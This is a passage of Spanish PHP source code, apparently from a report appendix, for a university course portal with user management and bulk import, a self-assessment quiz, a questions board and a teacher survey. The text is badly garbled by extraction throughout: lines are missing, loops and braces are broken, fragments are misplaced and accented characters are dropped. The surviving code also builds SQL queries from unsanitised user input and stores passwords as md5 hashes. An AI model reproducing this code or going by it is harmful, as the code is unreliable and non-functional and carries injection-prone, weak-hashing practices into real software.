$row = mysql_fetch_assoc($result);
// Dibujamos tabla con los datos y pedimos confirmacin
bgcolor (COLOR3F);
banner ("Confirmación");
print_header ("borrar", COLOR3);
//
//
//
//

reset($row);
for ($i=1 ; $i<=3; $i++) {
Pg. 316
next($row);
}
$perm[$key] = $val;
}
ksort($perm);
// Finalmente, imprimimos la fila de la tabla actual
print_row ("borrar", COLOR3A, $row["user"], $row["realname"],
$row["modificado"], $perm);
print_foot ();
echo "</p>";
hidden_form ("borrar", "si", $usuario, "", "", "", $perm, "");
break;
case "si":
cabecera_html();
$result = mysql_query("delete from cuentas where user='$usuario'");
$result = mysql_query("delete from permisos where user='$usuario'");
if (mysql_affected_rows () == 1) {
$msg = "El usuario ha sido correctamente eliminado.";
} else {
$msg = "Fallo al borrar usuario. La base de datos ha quedado en
estado inconsistente. Consulte con el Administrador.";
}
} else {
$msg = "Error al borrar usuario. Consulte con el
Administrador.";
}
mensaje($msg);
break;
case "no":
header ("Location: $PHP_SELF?metodo=listar");
exit;
break;
case "clear":
/********************************/
/** BORRAR _TODOS_ LOS USUARIO **/
/********************************/
check_privs('usuarios_del');
$sure="";
}
switch ($sure) {
case "":
cabecera_html();
echo "<form action=$PHP_SELF?metodo=clear method=post>\n";
Pg. 317

echo "<table width=100% border=0 cellpadding=1 cellspacing=2
align=\"center\" bgcolor=\"#ddeecc\">\n";
echo "<tr><td colspan=3 align=\"left\"><p class=t1>  Se va a
proceder a eliminar todos los usuarios de la base de datos. Por motivos de seguridad,
el usuario \"root\" ser preservado y no podr ser eliminado. Todos los dems
desaparecern para siempre.</p><p align=\"center\"class=t1>¿Est seguro de que
esto es lo que desea?</p></td></tr>\n";
echo "<tr><td colspan=3 align=\"center\"><input type=\"hidden\" name=\"sure\"
value=\"si\"><input type=submit value=\"S, quiero proceder con el
borrado\"></td></tr>";
echo "</table>";
echo "</td></tr>";
echo "</table></form>";
break;
case "si":
cabecera_html();
$result = mysql_query("delete from cuentas where user!='root'");
if ($result) {
$result = mysql_query("delete from permisos where user!='root'");
if ($result) {
$msg = "Todos los usuarios (excepto \"root\") han sido eliminados.";
} else {
$msg = "Fallo al borrar usuarios. La base de datos ha quedado en estado
inconsistente. Consulte con el Administrador.";
}
} else {
$msg = "Error al borrar usuarios. Consulte con el Administrador.";
}
mensaje($msg);
break;
case "no":
header ("Location: $PHP_SELF?metodo=listar");
exit;
break;
case "info":
/************************************************/
/** INFO SOBRE LOS PERMISOS / FLAGS DE USUARIO **/
/************************************************/
check_privs('usuarios_list');
cabecera_html();
bgcolor=\"#ddeecc\">\n";
echo "<tr><td colspan=3 align=\"left\"><p class=t1
align=\"center\"><u>Explicacin de flags y permisos de usuario</u></p><p
class=t1><ul>";
echo "<li><b>admin_tool:</b> permite acceso al men general de administracin.";
echo "<li><b>chpass:</b> el usuario podr cambiar su contrasea.";
echo "<li><b>cuestionario_r:</b> permite acceso (slo lectura) al servicio
\"cuestionario\" (test de autoevaluacin).";
Pg. 318
echo "<li><b>cuestionario_w:</b> permite administrar (aadir, editar, borrar,

etc) el servicio \"cuestionario\".";
echo "<li><b>download:</b> permite bajarse los documentos PDF de la asignatura.";
echo "<li><b>dudas_r:</b> permite acceso al servicio \"dudas\".";
echo "<li><b>dudas_w:</b> permite administrar el servicio \"dudas\".";
echo "<li><b>encuesta1:</b> indica si el usuario ha rellenado ya la encuesta para
el profesor 1.";
echo "<li><b>encuesta2:</b> idem para el profesor 2.";
echo "<li><b>encuesta3:</b> idem para el profesor 3.";
echo "<li><b>encuesta_r:</b> permite acceso al servicio \"encuesta\".";
echo "<li><b>encuesta_w:</b> permite administrar el servicio \"encuesta\".";
echo "<li><b>monitores_r:</b> permite acceso al servicio \"monitores\".";
echo "<li><b>monitores_w:</b> permite administrar el servicio \"monitores\".";
echo "<li><b>notas_r:</b> permite acceso al servicio \"notas\".";
echo "<li><b>notas_w:</b> permite administrar el servicio \"notas\".";
echo "<li><b>noticias_r:</b> permite acceso al servicio \"noticias\".";
echo "<li><b>noticias_w:</b> permite administrar el servicio \"noticias\".";
echo "<li><b>usuarios_add:</b> permite aadir usuarios.";
echo "<li><b>usuarios_del:</b> permite borrar usuarios.";
echo "<li><b>usuarios_edit:</b> permite editar/modificar datos de usuario.";
echo "<li><b>usuarios_list:</b> permite listar usuarios.";
echo "</ul></p></td></tr>\n";
echo "</table>";
echo "</td></tr>";
echo "</table>";
break;
case "listar":
/*********************/
/** LISTAR USUARIOS **/
/*********************/
check_privs('usuarios_list');
cabecera_html();
bgcolor (COLOR4F);
banner ("Gestin de usuarios");
print_header("listar", COLOR4);
// Imprime la cabecera de la tabla
$color = COLOR4A;
$result = mysql_query("select cuentas.user, cuentas.realname, cuentas.modificado,
permisos.* from cuentas, permisos where cuentas.user = permisos.user order by
cuentas.user");
while ($row = mysql_fetch_assoc($result)) {
//
//
//
//

reset($row);
for ($i=1 ; $i<=3; $i++) {
next($row);
}
$perm[$key] = $val;
}
ksort($perm);
Pg. 319
// Finalmente, imprimimos la fila de la tabla actual

print_row ("listar", $color, $row["user"], $row["realname"],
$row["modificado"], $perm);
// Alternamos el color de fondo de cada fila, para q se vea mejor
if ($color == COLOR4A) {
$color = COLOR4B;
} else {
$color = COLOR4A;
}
}
print_foot();
// Imprime el pie de pagina de la tabla
echo "
<p>
<table width=\"100%\">
<tr>
<td width=\"5%\" class=t2 align=\"right\">
<img border=\"0\" src=\"../images/new.gif\" align=\"middle\">
</td>
<td width=\"22%\" class=t2>
<a href=\"$PHP_SELF?metodo=anadir\">Nuevo usuario</a>
</td>
<a href=\"$PHP_SELF?metodo=clear\">Borrar todos los usuarios</a>
</td>
<a href=\"$PHP_SELF?metodo=info\">Info sobre permisos de usuario</a>
</td>
<a href=\"$PHP_SELF?metodo=importar\">Importar usuarios desde fichero</a>
</td>
</tr>
</table>
";
break;
case "importar":
/**********************/
/** IMPORTAR FICHERO **/
/**********************/
if (!(isset($estado))) {
$estado="";
}
switch ($estado) {
case "":
cabecera_html();
echo "<form action=$PHP_SELF?metodo=importar method=post>\n";
echo "<tr><td colspan=3 align=\"left\"><p class=t1>  Esta
opción permite importar usuarios desde un fichero ASCII con formato
<i>\"campos separados por tabuladores\"</i>. Este formato es estándar y casi
cualquier base de datos (ej: <i>Microsoft Access</i>) e incluso otros programas (ej:
<i>Microsoft Excel</i>) permiten exportar al mismo.</p><p class=t1>  Los
usuarios contenidos en el fichero serán <i>agregados</i> a la base de datos,
Pg. 320
preservando los usuarios existentes (es decir, el contenido actual de la base de

datos no es borrado previamente ni sobreescrito). Quizás le interese antes
hacer uso de la opción de \"borrar todos los usuarios\" y acto seguido llevar
a cabo la importación.</p><p class=t1>  <u>Asegúrese de que
el fichero tiene el formato correcto</u> (con el nombre completo del alumno en la
primera y única columna). De lo contrario, la base de datos se
corromperá irremediablemente.</p> <p class=t1>  ¿Quiere
seguir adelante?</p></td></tr>\n";
echo "<tr><td colspan=3 align=\"center\"><input type=\"hidden\"
name=\"estado\" value=\"1\"><input type=submit value=\"Seguir\"></td></tr>";
echo "</table>";
echo "</td></tr>";
break;
case "1":
cabecera_html();
echo "<form enctype=\"multipart/form-data\" action=$PHP_SELF?metodo=importar
method=post>\n";
echo "<tr><td colspan=3 align=\"left\"><p class=t1>  El nombre se
leer de la primera (y nica) columna del archivo a
importar:</p></td></tr></table>\n";
echo "<tr><td width=\"39%\"><p align=\"right\" class=t2>Fichero:</p></td>";
echo "<td><p align=\"left\"><input type=\"hidden\" name=\"MAX_FILE_SIZE\"
value=\"2000000\"><input name=\"fichero\" type=\"file\"></p></td></tr></table>\n";
echo "<tr><td colspan=3 align=\"left\"><br><p class=t1>  El campo
de usuario se formar combinando una parte fija (prefijo) con una parte variable
(sufijo). Ambas son configurables. El prefijo puede ser cualquier cadena
alfanumrica. El sufijo slo puede ser un nmero, y ste ser incrementado
automticamente en uno para los distintos usuarios a insertar. Por defecto, crear
los usuarios '".$portal."1', '".$portal."2', etc. Si el nombre de usuario generado
coincide con algn usuario existente en la base de datos, ser detectado y
automticamente se pasar a usar el siguiente nombre de usuario libre. No obstante,
es ms ptimo y rpido asegurarse previamente de que el rango de usuarios elegido no
existe ya. Rellene a continuacin el prefijo y el
sufijo:</p><p></p></td></tr></table>\n";
echo "<tr><td align=\"right\"><input type=\"text\" name=\"prefijo\"
value=\"$portal\"></td>\n";
echo "<td align=\"left\"><input type=\"text\" name=\"sufijo\"
value=\"1\"></td></tr></table>\n";
echo "<tr><td colspan=3 align=\"left\"><br><p class=t1>  La
contrasea ser generada automticamente para cada usuario. Al finalizar la operacin
de importacin se imprimir en pantalla una relacin de todos los usuarios creados,
con sus respectivas contraseas. <u>No olvide imprimir esta relacin y gurdela en un
Pg. 321
lugar seguro, ya que sta ser la nica ocasin donde podr visualizar las
contraseas generadas</u> (la base de datos almacenar las contraseas
<i>encriptadas</i> con un algoritmo irreversible).</p>\n";
echo "<p class=t1>  Los permisos de usuario sern establecidos de
acuerdo a los permisos por defecto definidos en el archivo de configuracin del
portal.</p></td></tr>\n";
echo "<tr><td colspan=3 align=\"center\"><input type=\"hidden\"
name=\"estado\" value=\"2\"><input type=submit value=\"Seguir adelante\"></td></tr>";
echo "</table>";
pie("$PHP_SELF?metodo=importar&estado=\"\"",
"http://www.gte.us.es/~fbarrero/CSED/");
break;
case "2":
cabecera_html();
$msg="";
if (is_uploaded_file($_FILES['fichero']['tmp_name']) &&
$_FILES['fichero']['size'] != 0) {
//
// Leo todo el fichero en un array (cada elemento contendr una linea del
fichero)
$contenido = file ($_FILES['fichero']['tmp_name']);
// Inicializamos array que contendr los datos generados (contrasea en

claro, etc)
$generado_nombre = array();
$generado_usuario = array();
$generado_pass = array();
// Vamos recorriendo cada linea
while (list ($line_num, $line) = each ($contenido)) {
$line = rtrim($line);
// Quitamos el \n del final de linea
// Leemos los campos de cada linea (separados por un TAB
// (en este caso no habr TAB, pq solo hay un campo, pero por si acaso :))
list($nombre) = explode("\t", $line);

$nombre = rtrim($nombre);
if ($nombre) { // Si es cadena vaca nos saltamos todo el proceso
// Creamos usuario y password
$usuario = $prefijo.$sufijo;
$pass = genera_pass(12);
// Comprobamos que no existe el usuario a aadir

do {
$resul = mysql_query("select user from cuentas where
user='$usuario'");
$n = mysql_num_rows($resul);
if ($n != 0) {
$sufijo++;
$usuario = $prefijo.$sufijo;
}
} while ($n!=0);
// Creamos la matriz de permisos (valores por defecto)
}
Pg. 322
}
// Insertamos usuario en la bbdd
$result = mysql_query("insert into cuentas (user, pass, realname,
modificado) values ('$usuario', md5('$pass'), '$nombre', NULL)");
// **Usuario correctamente importado
$sufijo++;
// Lo aadimos al array $generado
array_push($generado_nombre, $nombre);
array_push($generado_usuario, $usuario);
array_push($generado_pass, $pass);
} else {
// **Error al insertar permisos. BBDD en estado inconsistente
die("Error al insertar permisos. BBDD en estado inconsistente.
Consulte con el Administrador. Los usuarios anteriores a este error s es posible que
hayan sido introducidos. Eche un vistazo al listado de usuarios, por favor.");
}
} else {
// **No se aadi usuario. Debe haber algn problema con la bbdd o el
fichero a importar tiene alguna entrada con caracteres extraos. Ignoramos el error.
}
}
}
} else {
}
if ($msg) {
echo "<table align=\"center\"><tr><td><p
class=t1>".$msg."</p></td></tr></table>";
pie("$PHP_SELF?metodo=importar&estado=1",
"http://www.gte.us.es/~fbarrero/CSED/");
exit;
}
// Imprimimos hoja de resultados
if (($max=count($generado_nombre)) > 0) {
echo "<br><table width=\"90%\" border=1 align=\"center\" cellpadding=1
cellspacing=0>\n";
echo "<tr><td bgcolor=\"#ddeecc\" bordercolor=\"#007f40\">\n";
echo "<tr><td colspan=3 align=\"left\"><p class=t1>  Se han
añadido correctamente los siguientes usuarios:</p></td></tr>\n";
echo "<tr><td colspan=3> </td></tr></table>";
align=\"center\" bgcolor=\"#ddeecc\">
<tr>
<td><p align=\"left\" class=t1><u>Nombre</u></p></td>
<td><p align=\"left\" class=t1><u>Usuario</u></p></td>
<td><p align=\"left\" class=t1><u>Contraseña</u></p></td>
</tr>
";
for ($i=0; $i<$max; $i++) {
echo "<tr>
Pg. 323
";
<td><p align=\"left\" class=t2>$generado_nombre[$i]</p></td>

<td><p align=\"left\" class=t2>$generado_usuario[$i]</p></td>
<td><p align=\"left\" class=t2>$generado_pass[$i]</p></td>
</tr>
}
echo "</table>\n";
echo "<tr><td colspan=3 align=\"left\"><br><p class=t1>  <u>No
olvide imprimir esta relacin y gurdela en un lugar seguro, ya que sta ser la
nica ocasin donde podr visualizar las contraseas generadas</u> (la base de datos
almacenar las contraseas <i>encriptadas</i> con un algoritmo no
reversible).</p>\n";
echo "</table>";
echo "</table>";
} else {
echo "<br><table width=\"90%\" border=1 align=\"center\" cellpadding=1
cellspacing=0>\n";
echo "<tr><td bgcolor=\"#ddeecc\" bordercolor=\"#007f40\">\n";
echo "<tr><td colspan=3 align=\"left\"><p class=t1>  No se ha
añadido ningn usuario. Puede que el fichero que ha importado no contuviera
ninguna entrada vlida. Tambin es posible que haya algn problema con el servidor de
bases de datos.</p></td></tr>\n";
echo "</table>";
echo "</table>";
}
}
}
?>
break;
//End Switch ($metodo)
</body>
</html>
2.45. /autoevaluacion/autoevaluacion.php
<?php
check_privs('cuestionario_r');
?>
<html>
<head>
<title>Autoevaluacion.</title>
<style>
p.t2 {font: 12px Verdana, Arial; line-height:15px; color:#000000; TEXT-DECORATION:
</style>
Pg. 324
</head>
<body bgcolor=<?php echo $colorbg; ?>>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<h2 align="center">TEST DE AUTOEVALUACION.</h2>
<?
/**************** funcin botonradio_db ****************/
/* $f conexin
*/
/* $tipo formato V=vertical ...
*/
/* $tabla1 tabla primera de consulta
*/
/* $tabla2 tabla segunda de consulta
*/
/*******************************************************/
function botonradio_db ($f, $tipo, $tabla1, $tabla2)
{
if ($tipo=="V")
$TIPO=" <BR>";
else $TIPO=" ";
$cons="SELECT max(id) FROM pregunta";
$res=mysql_query($cons, $f) OR die ("Fallo en la respuesta.");
$limite=mysql_result($res,0);
$cons="SELECT id FROM pregunta";
$res = mysql_query($cons, $f) OR die ("Fallo en la respuesta.");
$num_ids=mysql_num_rows($res);
/* Este bucle for genera 6 numeros aleatorios de entre las posibles preguntas. */
/* Los nmeros as generados, son almacenados en la tabla @cadena, y sern usados*/
/* posteriormente, tanto para generar la cadena oculta de ids como para generar el
cdigo de */
/* las preguntas y sus opciones. Por precaucin, y para el correcto funcionamiento
del */
/*programa de gestin de la base de datos, se comprueba que los nmeros
aleatorios as
*/
/*generados coincidan con algn nmero de id.*/
for ($i = 0; $i < 6; $i++)
{
$j = 0;
$k = 0;
while (!$k)
{
$ale = mt_rand ("1","$limite");
$flag=0;
for ($v=0;$v<$num_ids;$v++){
$w=mysql_result($res,$v,0);
if ($ale==$w)$flag=1;
}
if ($flag)
{
$cadena[$i] = $ale;
if ($i == 0)
$k=1;
else
{
for ($k=0; $k<$i; $k++)
if ($cadena[$k] == $ale){
$k = 0;
break;
Pg. 325
}
}
}
else{
$k=0;
}
}
}
/* Creacin del array oculto de ids */
$tab="";
for ($v = 0;$v<6;$v++) {
if ($v!=5) $tab=$tab.$cadena[$v].",";
else $tab=$tab.$cadena[$v];
}
/*Cdigo de la funcin*/
echo "<form action=\"solucion.php\" method=\"post\">\n";
echo "<table align=\"center\" width=\"95%\" cellpadding=0 cellspacing=0>\n";
for ($n=0;$n<6;$n++){
$l=$n+1;
$cons="SELECT texto from pregunta where id=\"$cadena[$n]\"";
$res=mysql_query($cons,$f) or die ("caca de la vaca");
$pre=mysql_result($res,0);
echo "<tr><td colspan=2><p class=t1>\n";
print ("$l. $pre<br>\n</p></td></tr>\n");
$cons="SELECT opciona,opcionb,opcionc,opciond from opciones where
id=\"$cadena[$n]\"";
$res=mysql_query($cons,$f) or die ("caca de la vaca");
for ($m=0;$m<4;$m++){
$name="radio".$l;
$op=mysql_result($res,0,$m);
echo "<tr><td width=3% valign=\"top\">";
print ("<input type=\"radio\" name=\"$name\" value=\"$op\"></td>\n");
echo "<td><p class=t2>";
print ("$op</p></td></tr>\n");
}
}
echo "<form action=\"solucion.php\" method=\"post\">\n";
echo "<table align=\"center\" width=\"95%\" cellpadding=0 cellspacing=0>\n";
echo "<tr><td align=\"center\" colspan=2>";
echo "<input type=\"hidden\" name=\"ids\" value=\"$tab\">";
echo "<p><input type=submit value=Corregir> ";
echo "<input type=reset value=Borrar></p>";
echo "</td></tr>";
echo "</table>";
echo "</form>";
}
/*********************************************************/
/***** Intentamos la conexin con la base de datos. *****/
/*********************************************************/
$id = conectar();
datos \"$base\". ");
?>
<?
botonradio_db($id, "V", "pregunta", "opciones");
mysql_close ($id);
/*print ("Se ha cerrado con xito.");*/
?>
<tr>
Pg. 326

</tr>
</table>
</BODY>
</HTML>
2.46. /autoevaluacion/solucion.php
<?php
check_privs('cuestionario_r');
/*********************************************************/
/***** Intentamos la conexin con la base de datos. *****/
/*********************************************************/
$f = conectar();
$conexion = mysql_select_db($base, $f) OR die ("No puedo conectar con la base de
$contador=0;
$erroneas=0;
$sin=0;
$id=strtok($ids,",");
for ($k=1;$k<7;$k++){
$i = 0;
$j = 0;
$name = "radio".$k;
filtro_numerico($id);
$cons = "SELECT solucion FROM pregunta WHERE id=".$id;
$res = mysql_query ($cons,$f) or die ("Fallo en la respuesta buscando sol.");
$valor = mysql_result($res, $i, $j);
$opcion = "opcion".$valor;
$cons = "SELECT ".$opcion." FROM opciones WHERE id=".$id;
$res = mysql_query ($cons,$f) or die ("Fallo en la respuesta buscando opcion.");
$valor = mysql_result ($res, $i, $j);
if (!(isset(${$name})))
$sin=$sin+1;
else if (strcmp(${$name},$valor) == 0)
$contador=$contador+1;
else
$erroneas=$erroneas+1;
$id=strtok(",");
}
?>
<html>
<head>
<title>Autoevaluacion</title>
<style>
p.t2 {font: 12px Verdana, Arial; line-height:15px; color:#000000; TEXT-DECORATION:
</style>
</head>
<tr>
Pg. 327

</td>
</td>
</tr>
</table>
<hr>
<table align="center" width="75%" border="0" cellspacing="2" cellpadding="6">
<tr>
<td bgcolor=<?php echo $colorbg; ?> align="center"><font size="+2">Resultados de
la prueba:</font>
</td>
</tr>
</table>
<br>
<?
if ($sin<=2){
print ("<p align=\"center\" class=t1><b>Número de preguntas acertadas:
$contador.<br><br>");
print ("Número de preguntas erróneas: $erroneas.<br><br>");
print ("Número de preguntas sin contestar: $sin.</b><br><br>");
mysql_close($f);
}
else {
print ("<p align=\"center\" class=t1>Para proceder a la correccin
del test, debe responder al menos a cuatro cuestiones.</p>");
mysql_close($f);
}
?>
<tr>
<td width="10%" align="right"><a href="autoevaluacion.php"><img border=0
</tr>
</table>
</body>
</html>
2.47. /dudas/consultadudas.php
<?php
check_privs('dudas_r');
?>
<html>
<head>
<title>Tabla de dudas.</title>
<style>
Pg. 328
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<h1 align="center">Tabln de dudas</h1>
<h2 align="center">Respuestas:</h2>
<table width="90%" border="0" bgcolor="#007f40" align="center" cellspacing="1"
cellpadding="1">
<tr>
<td bgcolor="#88ddaa">
<table bgcolor="#007f40" width="100%" border=0 cellpadding=1 cellspacing=1
align="center">
<tr bgcolor="#88ddaa">
<td width="50% align="center"><p class=t1>Pregunta</p></td>
<td width="50%" align="center"><p class=t1>Respuesta</p></td></tr>
<?
/***************** Programa principal ****************/
/************************************************/
/* Estableciendo conexion con la base de datos. */
/************************************************/
$base = $db_dudas;
$id = conectar();
$conexion = mysql_select_db ($base, $id) OR die ("No puedo conectar con la base de
datos \"$base\".");
/* print ("Conexin establecida con xito.\n<br><br>\n"); */
$cons = "SELECT id FROM dudas";
for ($i=0; $i<$k; $i++){
$name = "caja".$i;
if (!(isset(${$name}))) {
continue;
}
$kk=${$name};
filtro_numerico($kk);
if ($kk){
$cons = "SELECT pregunta,respuesta FROM dudas WHERE id='$kk'";
$valor = mysql_result($res,0,0);
echo "<tr bgcolor=\"#88ddaa\">\n<td><p class=t1>$valor</p></td>\n";
echo "<td><p class=t1>$valor</p></td>\n</tr>";
}
}
mysql_free_result ($res);
mysql_close ($id);
/* print ("Se ha cerrado con xito."); */
?>
Pg. 329
</table>
</td></tr>
</table>
<tr>
<td width="10%" align="right"><a href="tabladudas.php"><img border=0
</tr>
</table>
</body>
</html>
2.48. /dudas/tabladudas.php
<?php
check_privs('dudas_r');
?>
<html>
<head>
<title>Tabla de dudas.</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<h1 align="center">Tabln de dudas</h1>
<form action="consultadudas.php" method="post">
cellpadding="1">
<tr>
<table width="100%" bgcolor="#007f40" border=0 cellpadding=1 cellspacing=1
align="center">
<td width="5%"> </td>
<td align="center"><p class=t1>Pregunta</p></td>
<td width="20%" align="center"><p class=t1>Fecha</p></td></tr>
<?
Pg. 330
/**************** funcin tabladudas_db ****************/

/* Muestra una tabla con todas las dudas almacenadas
*/
/* en la base de datos.
/* $f conexin
*/
/*******************************************************/
function tabladudas_db ($f){
$cons = "SELECT id,pregunta,fecha FROM dudas ";
$res = mysql_query ($cons, $f) OR die ("Fallo en la respuesta.");
for ($i=0; $i<$k; $i++){
$numid = mysql_result($res, $i, 0);
$valor = mysql_result($res, $i, 1);
$name = "caja".$i;
echo "<tr bgcolor=\"#88ddaa\">\n<td><p class=t1><input type=checkbox
name=\"$name\" value=\"$numid\"></td>\n<td><p class=t1>$valor</p></td>\n";
echo "<td valign=\"middle\"><p class=t1>\"$valor\"</p></td>\n</tr>\n";
}
}
?>
*/
<?
/************************************************/
/************************************************/
$base = $db_dudas;
$id = conectar();
datos \"$base\".");
tabladudas_db($id);
mysql_close ($id);
?>
<tr height="60px" bgcolor="#88ddaa"><td colspan=3><p align="center"><input
type=submit value=Consultar>   <input type=reset
value=Borrar></td></tr>
</table>
</td></tr></table>
</form>
<br><br>
<table width="80%" cellpadding=2 cellspacing=3 align="center">
<tr><td colspan=3><p class=t2>Si no encuestras respuesta a tus dudas en este
tablón, por favor remítala al profesor de la asignatura. Él te
responderá con la mayor brevedad posible o bien podrás consultar tu
pregunta en este tablón en poco tiempo. Gracias.</p></td></tr>
<tr><td colspan=3 align="center"><a href="mailto:<?php echo $webmaster; ?>"><img
border="0" src="../images/correo03.gif" alt="Enviar correo"></a>
</td></tr>
</table>
<tr>
</tr>
</table>
</body>
</html>
Pg. 331
2.49. /encuesta/encuesta.php
<?php
check_privs('encuesta_r');
?>
<html> <head> <title>Encuesta.</title>
<META HTTP-EQUIV="Expires" CONTENT="Tue, 01 Jan 1980 1:00:00 GMT"> <META HTTPEQUIV="Pragma" CONTENT="no-cache">
<style type="text/css">

A.t1 {font: bold 12px Times New Roman; line-height:15px; color:#007f40; TEXTDECORATION: none;text-indent:2px}
A.t1:visited {font: bold 12px Verdana , Arial; line-height:15px; color:#007f40; TEXTDECORATION: none;text-indent:2px}
A.t1:hover {font: bold 12px Times New Roman; line-height:15px; color:#00874F;
background:#E4E4A5}
A.t2 {font: bold 16px Times New Roman; line-height:18px; color:#007f40; TEXTDECORATION: none;text-indent:2px}
A.t2:visited {font: bold 16px Verdana , Arial; line-height:18px; color:#007f40; TEXTDECORATION: none;text-indent:2px}
A.t2:hover {font: bold 16px Times New Roman; line-height:18px; color:#00874F;
background:#E4E4A5} p.t1 {font: bold 12px Times New Roman; line-height:15px;
color:#000000; TEXT-DECORATION: none;text-indent:2px}
p.t2 {font:
12px Times New Roman; line-height:15px; color:#000000; TEXTDECORATION: none;text-indent:2px}
p.t3 {font:
li.t1 {font:
</style>
<script language=Javascript>
function Apareceform(){
form.style.visibility='visible';
return true;
}
function Desapareceform(){
form.style.visibility='hidden';
return true;
}
function muestra(capa) { if (navigator.appName == "Netscape") {
document.capa.visibility="visible"; } else {
document.all[capa].style.visibility="visible"; } } function oculta(capa) { if
(navigator.appName == "Netscape") {
document.capa.visibility="hidden"; } else {
document.all[capa].style.visibility="hidden"; } }
</script>
</head>
<a name="#top"></a>
<table border="0" width="761">
<tr>
<p align="center" class=t1><img
src="../images/gte_small_ani.gif" alt="Grupo de Tecnologa Electrnica">
</td>
<td align="center"> <b><font face="Arial" color="#000000" size="4"><small><?php echo
$nombre_portal; ?></small></font> </b></td>
<p align="center"><img
</td>
</tr> </table> <hr>
<h2 align="center"><a href="#top" onClick="muestra('ayuda');"><img
src="../images/t_encuesta.gif" alt="Ayuda" border=0></a></h2>
<div id="ayuda"> <table border=0 cellpadding=2 cellspacing=1 bgcolor="#123456"
width="70%">
<tr><td bgcolor="#ffcd5c">
<table align="center" cellpadding=2 cellspacing=2> <tr><td><p class=t1>Ayuda para
rellenar la encuesta</p></td></tr> <tr><td><p class=t2> La encuesta se divide en tres
bloques diferentes:</p> <ul> <li class=t1>Actitudes personales</li> <li
class=t1>Competencia expositiva</li> <li class=t1>Aspectos objetivos de
preparacion</li> </ul> <p class=t2>Cada uno de ellos debe ser ponderado de forma
global del 1 al 10, teniendo en cuenta que la suma de los tres valores debe ser 10.
Introducir cada uno de estos valores en la casilla que se encuentra a la derecha del
ttulo de cada bloque.</p> <p class=t2>Cada bloque consta de un nmero variable de
Pg. 332
comentarios ms especficos con los que puede estar Muy en desacuerdo, En desacuerdo,
Indiferente, De acuerdo o Muy de acuerdo. Seleccione el que considere oportuno y
marque la casilla correspondiente.</p> <p class=t2>Debers responder a la encuesta
por completo y siguiendo estas reglas. En caso contrario la encuesta no ser
vlida.</p> <p class=t2>Tambin se te ofrece la posibilidad de incluir alguna
sugerencia o comentario que consideres oportuno para mejorar la asignatura. Usa para
ello el cuadro de la parte inferior de la encuesta.</p> <p class=t2>Por ltimo, te
recuerdo de nuevo que los datos son completamente confidenciales y que la informacin
relativa a tu nombre y D.N.I. slo se usa para permitir el acceso, y no queda
constancia de ellos una vez permitido el mismo.<br><br> </p></td></tr>
<tr><td align="center"><a class=t1 href="#top" OnClick="oculta('ayuda');">Pulse para
cumplimentar la encuesta</a></td></tr>
</table>
</td></tr> </table> </div>
<form action=tomadatos.php method=post >
<table border="0" width="95%" align="center" bgcolor="#007f40" cellpadding=2
cellspacing=1>
<tr><td bgcolor="#ffffff">
<table width=100% cellpadding=1 cellspacing=1 align="center" bgcolor="#007f40">
<tr bgcolor="#ffffff"> <td width=50%> </td>
<td width=10%><p class=t3>Muy en
desacuerdo</td> <td width=10%><p class=t3>Desacuerdo</td> <td width=10%><p
class=t3>Indiferente</td> <td width=10%><p class=t3>De acuerdo</td>
<td
width=10%><p class=t3>Muy de acuerdo</td> </tr> <tr bgcolor="#ffffff">
<td
colspan=5> <p class=t1>ACTITUDES PERSONALES</p></td>
<td><input TYPE="text" align=rigth NAME="valor1" SIZE="1" MAXLENGTH="1" VALUE="<? if
(isset($valor1)) { echo $valor1; }
?>" > </td></tr>
<? echo "<tr bgcolor=\"#ffffff\"> <td ><p class=t2>El profesor es educado y
respetuoso con los alumnos </p></td>";
echo "<td><input type=\"radio\" name=\"pregunta1\" value=\"1\" ></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>El profesor intenta motivar a los
alumnos por la asignatura</p> </td>";
echo "<td><input type=\"radio\" name=\"pregunta2\" value=\"1\"></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>El profesor muestra interes en que los
alumnos comprendan las explicaciones </p></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>El profesor esta abierto a las
sugerencias de los alumnos </p></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>El profesor fomenta la participacion
en clase </p></td>"; echo "<td><input type=\"radio\" name=\"pregunta5\" value=\"1\"
></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>Las clases son amenas </p></td>";
Pg. 333
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>El profesor cumple su horario de clase

correctamente </p></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>El profesor atiende las tutorias
correctamente </p></td>";
echo "<td><input type=\"radio\" name=\"pregunta8\" value=\"5\" ></td>"; ?>
<tr bgcolor="#ffffff">
<td colspan=5><p class=t1>COMPETENCIA EXPOSITIVA</p></td>
(isset($valor2)) { echo $valor2; } ?>" >
<? echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>El profesor es claro en sus
explicaciones </p></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>El profesor es ordenado en sus
explicaciones </p></td>"; echo "<td><input type=\"radio\" name=\"pregunta10\"
value=\"1\" ></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>El ritmo que se sigue en las
explicaciones se adecua al ritmo de comprension del alumno </p></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>El profesor contesta debidamente a las
dudas que se le plantean </p></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>Las clases del profesor parecen estar
bien preparadas </p></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>El profesor facilita la toma de
apuntes </p></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>La asistencia a clase facilita la
comprension del tema </p></td>";
Pg. 334
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>El profesor utiliza con frecuencia

ejemplos extraidos de la realidad para la mejor comprension de los conceptos
</p></td>";
echo "<td><input type=\"radio\" name=\"pregunta16\" value=\"5\" ></td>"; ?>
<tr bgcolor="#ffffff"> <td colspan=5><p class=t1>ASPECTOS OBJETIVOS DE
PREPARACION</p></td>
(isset($valor3)) { echo $valor3; } ?>" >
<? echo "<tr bgcolor=\"#ffffff\">
<td><p class=t2>Durante el curso realizamos el numero suficiente de casos practicos
</p></td>";
echo "<tr bgcolor=\"#ffffff\"> <td><p class=t2>Se dedica a la resolucion de cada caso
